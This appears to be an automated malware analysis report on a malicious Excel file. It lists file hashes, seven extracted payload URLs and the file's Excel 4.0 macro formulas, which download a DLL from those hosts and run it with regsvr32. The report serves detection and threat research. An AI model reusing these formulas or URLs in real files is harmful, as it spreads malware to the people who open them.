General
-
Target
50f6207e089eed4ac06ccc0a9fa2fc54ae9b46f886bc2a29bcb90ec06b8722ae
-
Size
74KB
-
MD5
3ad51c7d346b064f2108b0b0639aaa82
-
SHA1
11de0fd9752ae8bf81a910f19abd8f524beb24d6
-
SHA256
50f6207e089eed4ac06ccc0a9fa2fc54ae9b46f886bc2a29bcb90ec06b8722ae
-
SHA512
07fd6dcb471816d6a232f9084e427a93cf278ce9b4d59578a276af71d95a840d3d0e87480a4e9bd64d4a668b5933f1cdf3f599bbb1094bfa943b1223c73763ab
-
SSDEEP
1536:S1RPiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMdVIit:S1RiCtzSmICpH7OZuvZGsMt
Malware Config
Extracted
https://baboonworks.com/Zwe0xwdQ0IktrC/
http://barcoindo.com/picture_library/2mz8F5eS084wcxPyNXZ/
http://bangplamahospital.com/bootstrap/im6LOUezHNUpvTGiRP/
http://baronandstagger.com/hqakgc/AkVsMU5bee39yb9r79c/
http://basepainters.com/wp-content/Zega/
http://ceibadiseno.com.mx/bandermex2/8ib08ZJ/
http://az-10.sakura.ne.jp/info/nXAq9xNk3zS/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://baboonworks.com/Zwe0xwdQ0IktrC/","..\ujg.dll",0,0) =IF('EGDGB'!F7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://barcoindo.com/picture_library/2mz8F5eS084wcxPyNXZ/","..\ujg.dll",0,0)) =IF('EGDGB'!F9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bangplamahospital.com/bootstrap/im6LOUezHNUpvTGiRP/","..\ujg.dll",0,0)) =IF('EGDGB'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://baronandstagger.com/hqakgc/AkVsMU5bee39yb9r79c/","..\ujg.dll",0,0)) =IF('EGDGB'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://basepainters.com/wp-content/Zega/","..\ujg.dll",0,0)) =IF('EGDGB'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ceibadiseno.com.mx/bandermex2/8ib08ZJ/","..\ujg.dll",0,0)) =IF('EGDGB'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://az-10.sakura.ne.jp/info/nXAq9xNk3zS/","..\ujg.dll",0,0)) =IF('EGDGB'!F19<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ujg.dll") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
50f6207e089eed4ac06ccc0a9fa2fc54ae9b46f886bc2a29bcb90ec06b8722ae